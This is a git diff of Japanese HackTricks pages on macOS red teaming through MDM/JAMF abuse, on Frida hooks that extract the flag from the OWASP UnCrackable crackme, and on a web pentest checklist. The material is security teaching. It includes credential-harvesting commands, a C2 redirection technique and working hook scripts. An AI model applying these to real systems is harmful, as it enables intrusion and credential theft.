ただし、登録されたデバイスにアプリケーションをインストールするには、開発者アカウントによって署名されている必要があります...ただし、MDMの登録時に**デバイスはMDMのSSL証明書を信頼できるCAとして追加**するため、今では何でも署名できます。
|
||||
ただし、登録されたデバイスにアプリケーションをインストールするには、開発者アカウントによって署名されている必要があります...ただし、MDMの登録時に**デバイスは信頼されたCAとしてMDMのSSL証明書を追加**するため、今では何でも署名できます。
|
||||
|
||||
デバイスをMDMに登録するには、ルートとして**`mobileconfig`**ファイルをインストールする必要があります。これは**pkg**ファイルを介して配信することができます(zipで圧縮し、Safariからダウンロードすると解凍されます)。
|
||||
|
||||
|
@ -39,11 +39,11 @@ MDMは、プロファイルのインストール、クエリ、削除、アプ
|
|||
|
||||
### JAMF PROの乱用
|
||||
|
||||
JAMFは、**カスタムスクリプト**(システム管理者によって開発されたスクリプト)、**ネイティブペイロード**(ローカルアカウントの作成、EFIパスワードの設定、ファイル/プロセスの監視...)、**MDM**(デバイスの設定、デバイス証明書...)を実行できます。
|
||||
JAMFは、**カスタムスクリプト**(システム管理者によって開発されたスクリプト)、**ネイティブペイロード**(ローカルアカウントの作成、EFIパスワードの設定、ファイル/プロセスの監視...)、**MDM**(デバイスの設定、デバイスの証明書...)を実行できます。
|
||||
|
||||
#### JAMFの自己登録
|
||||
|
||||
`https://<company-name>.jamfcloud.com/enroll/`のようなページにアクセスして、**自己登録が有効になっているかどうか**を確認します。有効な場合、**資格情報を要求**する場合があります。
|
||||
`https://<company-name>.jamfcloud.com/enroll/`のようなページにアクセスして、**自己登録が有効になっているかどうか**を確認します。有効な場合、**資格情報を入力するように求められる**場合があります。
|
||||
|
||||
[**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py)スクリプトを使用してパスワードスプレー攻撃を実行できます。
|
||||
|
||||
|
@ -78,7 +78,7 @@ plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
したがって、攻撃者は、このファイルを上書きする悪意のあるパッケージ(`pkg`)をインストールすることで、**URLをTyphonエージェントのMythic C2リスナーに設定**し、JAMFをC2として悪用することができます。
|
||||
したがって、攻撃者は、インストール時にこのファイルを上書きする悪意のあるパッケージ(`pkg`)をドロップすることができます。これにより、TyphonエージェントからのMythic C2リスナーへのURLが設定され、JAMFをC2として悪用することができるようになります。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -91,18 +91,18 @@ sudo jamf policy -id 0
|
|||
|
||||
#### JAMFのなりすまし
|
||||
|
||||
デバイスとJMFの間の通信を**なりすます**ためには、以下が必要です:
|
||||
デバイスとJMFの間の通信をなりすますためには、以下が必要です:
|
||||
|
||||
* デバイスの**UUID**:`ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
|
||||
* デバイス証明書を含む**JAMFキーチェーン**:`/Library/Application\ Support/Jamf/JAMF.keychain`
|
||||
|
||||
この情報を使用して、**盗まれた**ハードウェア**UUID**と**SIPが無効化された**JAMFキーチェーンを持つVMを作成し、Jamf**エージェント**を**フック**して情報を盗みます。
|
||||
これらの情報を使用して、**盗まれた**ハードウェア**UUID**と**SIPが無効化された**JAMFキーチェーンを持つVMを作成し、Jamf**エージェント**を**フック**して情報を盗みます。
|
||||
|
||||
#### 秘密の盗み出し
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (11).png" alt=""><figcaption><p>a</p></figcaption></figure>
|
||||
|
||||
また、Jamfを介して実行したい**カスタムスクリプト**を管理者が配置し、実行して削除するために、`/Library/Application Support/Jamf/tmp/`の場所を監視することもできます。これらのスクリプトには**資格情報**が含まれる可能性があります。
|
||||
また、Jamfを介して実行したい**カスタムスクリプト**を管理者が配置し、実行して削除するために、`/Library/Application Support/Jamf/tmp/`の場所を監視することもできます。これらのスクリプトには**資格情報**が含まれている可能性があります。
|
||||
|
||||
ただし、これらのスクリプトには**パラメータ**として資格情報が渡される場合があるため、`ps aux | grep -i jamf`を監視する必要があります(rootでなくても可能です)。
|
||||
|
||||
|
@ -132,14 +132,14 @@ sudo jamf policy -id 0
|
|||
[pentesting-kerberos-88](../../network-services-pentesting/pentesting-kerberos-88/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
また、あなたに役立つかもしれない**ローカルのMacOSツール**には、`dscl`があります:
|
||||
また、あなたに役立つかもしれない**ローカルMacOSツール**には、`dscl`があります:
|
||||
```bash
|
||||
dscl "/Active Directory/[Domain]/All Domains" ls /
|
||||
```
|
||||
また、MacOS用にいくつかのツールが用意されており、ADの自動列挙とKerberosの操作が可能です:
|
||||
|
||||
* [**Machound**](https://github.com/XMCyber/MacHound):MacHoundは、Bloodhound監査ツールの拡張であり、MacOSホスト上でActive Directoryの関係を収集および取り込むことができます。
|
||||
* [**Bifrost**](https://github.com/its-a-feature/bifrost):Bifrostは、Objective-Cプロジェクトであり、macOS上のHeimdal krb5 APIとの対話を目的としています。このプロジェクトの目標は、ネイティブAPIを使用してmacOSデバイス上のKerberosのセキュリティテストをより容易に行うことであり、対象となる環境に他のフレームワークやパッケージを必要としません。
|
||||
* [**Bifrost**](https://github.com/its-a-feature/bifrost):Bifrostは、Objective-Cプロジェクトであり、macOS上のHeimdal krb5 APIとの対話を目的としています。このプロジェクトの目標は、ネイティブAPIを使用してmacOSデバイス上のKerberosのセキュリティテストをより効果的に行うことであり、対象となる環境に他のフレームワークやパッケージを必要としません。
|
||||
* [**Orchard**](https://github.com/its-a-feature/Orchard):Active Directoryの列挙を行うためのJavaScript for Automation(JXA)ツールです。
|
||||
|
||||
### ドメイン情報
|
||||
|
@ -150,14 +150,14 @@ echo show com.apple.opendirectoryd.ActiveDirectory | scutil
|
|||
|
||||
MacOSのユーザーには3つのタイプがあります:
|
||||
|
||||
* **ローカルユーザー** - ローカルのOpenDirectoryサービスで管理されており、Active Directoryとは何の関係もありません。
|
||||
* **ローカルユーザー** - ローカルのOpenDirectoryサービスによって管理され、Active Directoryとは何の関係もありません。
|
||||
* **ネットワークユーザー** - 一時的なActive Directoryユーザーで、認証するためにDCサーバーへの接続が必要です。
|
||||
* **モバイルユーザー** - ローカルのバックアップを持つActive Directoryユーザーで、資格情報とファイルが保存されています。
|
||||
* **モバイルユーザー** - ローカルのバックアップを持つActive Directoryユーザーで、資格情報とファイルが保存されます。
|
||||
|
||||
ユーザーとグループに関するローカル情報は、フォルダー_/var/db/dslocal/nodes/Default_に保存されています。\
|
||||
例えば、ユーザー名が_mark_の情報は_/var/db/dslocal/nodes/Default/users/mark.plist_に保存され、グループ名が_admin_の情報は_/var/db/dslocal/nodes/Default/groups/admin.plist_に保存されています。
|
||||
ユーザーとグループに関するローカル情報は、_ /var/db/dslocal/nodes/Default _フォルダに保存されます。\
|
||||
たとえば、_mark_というユーザーの情報は _/var/db/dslocal/nodes/Default/users/mark.plist_ に保存され、_admin_というグループの情報は _/var/db/dslocal/nodes/Default/groups/admin.plist_ に保存されます。
|
||||
|
||||
MacHoundは、HasSessionとAdminToのエッジに加えて、Bloodhoundデータベースに以下の3つの新しいエッジを追加します:
|
||||
MacHoundは、BloodhoundデータベースにHasSessionとAdminToのエッジに加えて、**3つの新しいエッジ**を追加します:
|
||||
|
||||
* **CanSSH** - ホストへのSSHが許可されているエンティティ
|
||||
* **CanVNC** - ホストへのVNCが許可されているエンティティ
|
||||
|
@ -195,17 +195,17 @@ dsconfigad -show
|
|||
|
||||
## 外部サービス
|
||||
|
||||
MacOS Red Teamingは通常のWindows Red Teamingとは異なり、通常**MacOSは直接複数の外部プラットフォームと統合**されています。MacOSの一般的な設定は、**OneLoginの同期された資格情報を使用してコンピュータにアクセスし、OneLoginを介して複数の外部サービス**(github、awsなど)にアクセスすることです。
|
||||
MacOS Red Teamingは、通常のWindows Red Teamingとは異なり、**MacOSは通常、複数の外部プラットフォームと直接統合**されています。MacOSの一般的な設定は、**OneLoginと同期された資格情報を使用してコンピュータにアクセスし、OneLoginを介して複数の外部サービス**(github、awsなど)にアクセスすることです。
|
||||
|
||||
![](<../../.gitbook/assets/image (563).png>)
|
||||
|
||||
## その他のRed Teamテクニック
|
||||
## その他の赤チームのテクニック
|
||||
|
||||
### Safari
|
||||
|
||||
Safariでファイルをダウンロードすると、それが「安全な」ファイルであれば、**自動的に開かれます**。例えば、**zipファイルをダウンロード**すると、自動的に展開されます。
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (12) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
@ -219,9 +219,9 @@ Safariでファイルをダウンロードすると、それが「安全な」
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[NFT](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* **サイバーセキュリティ企業で働いていますか?** HackTricksであなたの会社を宣伝したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
|
|
|
@ -7,21 +7,18 @@
|
|||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FwdlXOpyZOVGNzyhOiiFK%2Fimage%20(1).png?alt=media&token=13f4d279-7d3f-47ce-a68e-35f9a906973f" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**ハッキングのキャリア**に興味がある方、**解読不可能なものを解読する** - **採用中です!**(流暢なポーランド語の読み書きが必要です)。
|
||||
もし、**ハッキングのキャリア**に興味があり、**解読不可能なものを解読**したい場合は、**採用中です!**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
\
|
||||
|
||||
|
||||
****
|
||||
\\
|
||||
|
||||
**From**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
|
||||
**APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk)
|
||||
|
@ -30,7 +27,7 @@
|
|||
|
||||
[https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)に基づいています。
|
||||
|
||||
**\_exit()**\_関数と**復号化関数**をフックして、検証ボタンを押すとフラグがFridaコンソールに表示されるようにします。
|
||||
**\_exit()**関数と**復号化関数**をフックして、検証ボタンを押すとフラグがFridaコンソールに表示されるようにします。
|
||||
```javascript
|
||||
Java.perform(function () {
|
||||
send("Starting hooks OWASP uncrackable1...");
|
||||
|
@ -69,9 +66,9 @@ send("Hooks installed.");
|
|||
```
|
||||
## 解決策2
|
||||
|
||||
[https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)に基づいています。
|
||||
[https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)を参考にしています。
|
||||
|
||||
**rootチェック**と**decrypt**関数をフックして、verifyボタンを押すとフラグがfridaコンソールに表示されるようにします。
|
||||
**rootチェック**と**復号化**関数をフックして、`verify`ボタンを押すとフラグがFridaコンソールに表示されるようにします。
|
||||
```javascript
|
||||
Java.perform(function () {
|
||||
send("Starting hooks OWASP uncrackable1...");
|
||||
|
@ -129,7 +126,7 @@ send("Hooks installed.");
|
|||
```
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FwdlXOpyZOVGNzyhOiiFK%2Fimage%20(1).png?alt=media&token=13f4d279-7d3f-47ce-a68e-35f9a906973f" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
もしあなたが**ハッキングのキャリア**に興味があり、ハックできないものをハックしたいのであれば - **採用中です!**(_流暢なポーランド語の読み書きが必要です_)。
|
||||
もしあなたが**ハッキングのキャリア**に興味があり、ハックできないものをハックしたいのであれば - **採用中です!** (_流暢なポーランド語の読み書きが必要です_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -137,10 +134,10 @@ send("Hooks installed.");
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* あなたは**サイバーセキュリティ会社**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* あなたは**サイバーセキュリティ企業**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **ハッキングのトリックを共有するために、[hacktricksのリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudのリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,7 +4,7 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
|
@ -14,15 +14,15 @@
|
|||
|
||||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">
|
||||
|
||||
**バグバウンティのヒント**:ハッカーによって作成されたプレミアムな**バグバウンティプラットフォームであるIntigriti**に**サインアップ**してください!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得しましょう!
|
||||
**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは、ハッカーによって作成されたプレミアムな**バグバウンティプラットフォーム**です!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得しましょう!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
## 基本情報
|
||||
|
||||
ウェブサービスは最も**一般的で広範なサービス**であり、さまざまな**種類の脆弱性**が存在します。
|
||||
ウェブサービスは最も**一般的で広範なサービス**であり、さまざまな**脆弱性の種類**が存在します。
|
||||
|
||||
**デフォルトポート:** 80(HTTP)、443(HTTPS)
|
||||
**デフォルトポート:** 80 (HTTP), 443(HTTPS)
|
||||
```bash
|
||||
PORT STATE SERVICE
|
||||
80/tcp open http
|
||||
|
@ -43,17 +43,17 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
|||
|
||||
> この方法論では、ドメイン(またはサブドメイン)を攻撃することを前提としています。したがって、この方法論をスコープ内の各ドメイン、サブドメイン、または未確定のウェブサーバーのIPに適用する必要があります。
|
||||
|
||||
* [ ] まず、ウェブサーバーで使用されている**技術**を**特定**します。技術を正常に特定できた場合、テストの残りの部分で考慮すべき**トリック**を探します。
|
||||
* [ ] まず、ウェブサーバーで使用されている技術を**特定**します。技術を正常に特定できた場合、テストの残りの部分で考慮すべき**トリック**を探します。
|
||||
* [ ] 使用している技術のバージョンに**既知の脆弱性**はありますか?
|
||||
* [ ] 既知の技術を使用していますか?より多くの情報を抽出するための**有用なトリック**はありますか?
|
||||
* [ ] 実行する**専門のスキャナー**はありますか(例:wpscan)?
|
||||
* [ ] **一般的な目的のスキャナー**を実行します。何か見つかるか、興味深い情報が見つかるかわかりません。
|
||||
* [ ] **初期チェック**から始めます:**robots**、**sitemap**、**404**エラー、および**SSL/TLSスキャン**(HTTPSの場合)。
|
||||
* [ ] ウェブページを**スパイダリング**します:可能な**ファイル、フォルダ**、および**使用されているパラメータ**をすべて**見つけます**。また、**特別な発見**もチェックします。
|
||||
* [ ] _ブルートフォースやスパイダリング中に新しいディレクトリが発見された場合は、必ずスパイダリングを行ってください。_
|
||||
* [ ] _ブルートフォースやスパイダリング中に新しいディレクトリが発見された場合は、必ずスパイダリングを行います。_
|
||||
* [ ] **ディレクトリのブルートフォース**:発見されたすべてのフォルダをブルートフォースして、新しい**ファイル**と**ディレクトリ**を探します。
|
||||
* [ ] _ブルートフォースやスパイダリング中に新しいディレクトリが発見された場合は、必ずブルートフォースを行ってください。_
|
||||
* [ ] **バックアップのチェック**:一般的なバックアップの拡張子を追加して、**発見されたファイル**の**バックアップ**を見つけることができるかテストします。
|
||||
* [ ] _ブルートフォースやスパイダリング中に新しいディレクトリが発見された場合は、必ずブルートフォースを行います。_
|
||||
* [ ] **バックアップのチェック**:一般的なバックアップの拡張子を追加して、**発見されたファイル**の**バックアップ**を見つけるかどうかテストします。
|
||||
* [ ] **パラメータのブルートフォース**:**隠れたパラメータ**を見つけるために試みます。
|
||||
* [ ] **ユーザー入力**を受け入れる**すべてのエンドポイント**を**特定**したら、それに関連する**脆弱性**をチェックします。
|
||||
* [ ] [このチェックリストに従ってください](../../pentesting-web/web-vulnerabilities-methodology/)
|
||||
|
@ -62,7 +62,7 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
|||
|
||||
### 特定
|
||||
|
||||
実行しているサーバーの**バージョン**に**既知の脆弱性**があるかどうかを確認します。\
|
||||
実行されているサーバーの**バージョン**には**既知の脆弱性**があるかどうかを確認します。\
|
||||
**レスポンスのHTTPヘッダーとクッキー**は、使用されている**技術**および/または**バージョン**を**特定**するために非常に役立つ場合があります。**Nmapスキャン**はサーバーバージョンを特定できますが、[**whatweb**](https://github.com/urbanadventurer/WhatWeb)**、**[**webtech**](https://github.com/ShielderSec/webtech)**、または[**https://builtwith.com/**](https://builtwith.com)**:**のツールも役立つ場合があります。
|
||||
```bash
|
||||
whatweb -a 1 <URL> #Stealthy
|
||||
|
@ -70,9 +70,9 @@ whatweb -a 3 <URL> #Aggresive
|
|||
webtech -u <URL>
|
||||
webanalyze -host https://google.com -crawl 2
|
||||
```
|
||||
**Webアプリケーションのバージョンの脆弱性**を検索するために以下を検索します。
|
||||
**Webアプリケーションのバージョンの脆弱性**を検索します。
|
||||
|
||||
### **WAFのチェック**
|
||||
### **WAFの有無を確認**
|
||||
|
||||
* [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
|
||||
* [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
|
||||
|
@ -80,7 +80,7 @@ webanalyze -host https://google.com -crawl 2
|
|||
|
||||
### Web技術のトリック
|
||||
|
||||
さまざまなよく知られた技術での脆弱性を見つけるためのいくつかの**トリック**:
|
||||
さまざまなよく知られた技術の脆弱性を見つけるためのいくつかの**トリック**:
|
||||
|
||||
* [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
|
||||
* [**Apache**](apache.md)
|
||||
|
@ -92,7 +92,7 @@ webanalyze -host https://google.com -crawl 2
|
|||
* [**Git**](git.md)
|
||||
* [**Golang**](golang.md)
|
||||
* [**GraphQL**](graphql.md)
|
||||
* [**H2 - Java SQL database**](h2-java-sql-database.md)
|
||||
* [**H2 - Java SQLデータベース**](h2-java-sql-database.md)
|
||||
* [**IISのトリック**](iis-internet-information-services.md)
|
||||
* [**JBOSS**](jboss.md)
|
||||
* [**Jenkins**](broken-reference/)
|
||||
|
@ -102,7 +102,7 @@ webanalyze -host https://google.com -crawl 2
|
|||
* [**Laravel**](laravel.md)
|
||||
* [**Moodle**](moodle.md)
|
||||
* [**Nginx**](nginx.md)
|
||||
* [**PHP (phpには利用できる興味深いトリックがたくさんあります)**](php-tricks-esp/)
|
||||
* [**PHP(phpには利用可能な興味深いトリックがたくさんあります)**](php-tricks-esp/)
|
||||
* [**Python**](python.md)
|
||||
* [**Spring Actuators**](spring-actuators.md)
|
||||
* [**Symphony**](symphony.md)
|
||||
|
@ -112,7 +112,7 @@ webanalyze -host https://google.com -crawl 2
|
|||
* [**WebDav**](put-method-webdav.md)
|
||||
* [**Werkzeug**](werkzeug.md)
|
||||
* [**Wordpress**](wordpress.md)
|
||||
* [**Electron Desktop (XSS to RCE)**](xss-to-rce-electron-desktop-apps/)
|
||||
* [**Electron Desktop(XSSからRCEへ)**](xss-to-rce-electron-desktop-apps/)
|
||||
|
||||
_同じドメインが、**ポート**、**フォルダ**、**サブドメイン**で異なる**技術**を使用している可能性があることに注意してください。_\
|
||||
Webアプリケーションが**以前にリストされたよく知られたテクノロジー**または**その他のテクノロジー**を使用している場合は、**インターネットで新しいトリックを検索**することを忘れないでください(そして私に教えてください!)。
|
||||
|
@ -121,11 +121,11 @@ Webアプリケーションが**以前にリストされたよく知られたテ
|
|||
|
||||
アプリケーションの**ソースコード**が**github**で利用可能な場合、アプリケーションの**ホワイトボックステスト**を**自分で実行**するだけでなく、現在の**ブラックボックステスト**に役立つ**情報**があります。
|
||||
|
||||
* **変更ログまたはReadmeまたはバージョン**ファイル、またはウェブ経由でアクセス可能なバージョン情報があるかどうか
|
||||
* **資格情報**はどこに保存されていますか?アクセス可能な(?)資格情報(ユーザー名またはパスワード)のある**ファイル**はありますか?
|
||||
* **変更履歴、Readme、バージョン**ファイルなど、ウェブ経由でアクセス可能な**バージョン情報**はありますか?
|
||||
* **資格情報**はどこに保存されていますか?(アクセス可能な?)資格情報(ユーザー名またはパスワード)のある**ファイル**はありますか?
|
||||
* **パスワード**は**平文**、**暗号化**されていますか、またはどの**ハッシュアルゴリズム**が使用されていますか?
|
||||
* 何かを暗号化するための**マスターキー**を使用していますか?どの**アルゴリズム**が使用されていますか?
|
||||
* いくつかの脆弱性を悪用してこれらのファイルの**いずれかにアクセス**できますか?
|
||||
* 暗号化に**マスターキー**を使用していますか?どの**アルゴリズム**が使用されていますか?
|
||||
* いくつかの脆弱性を悪用してこれらのファイルの**アクセス**が可能ですか?
|
||||
* githubの(解決済みおよび未解決の)**問題**には興味深い情報がありますか?または**コミット履歴**に(古いコミットにパスワードが入力されているかもしれない)何かがありますか?
|
||||
|
||||
{% content-ref url="code-review-tools.md" %}
|
||||
|
@ -145,13 +145,13 @@ nuclei -ut && nuclei -target <URL>
|
|||
```
|
||||
#### CMSスキャナー
|
||||
|
||||
CMSが使用されている場合は、**スキャナーを実行**することを忘れないでください。何か興味深い情報が見つかるかもしれません。
|
||||
CMSが使用されている場合は、**スキャナーを実行**することを忘れないでください。何か興味深い情報が見つかるかもしれません:
|
||||
|
||||
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**、ColdFusion、WebLogic**、[**Tomcat**](tomcat.md)**、Railo、Axis2、Glassfish**\
|
||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md)、[**Drupal**](drupal.md)、**Joomla**、**vBulletin**のセキュリティ問題をチェックするためのウェブサイト(GUI)\
|
||||
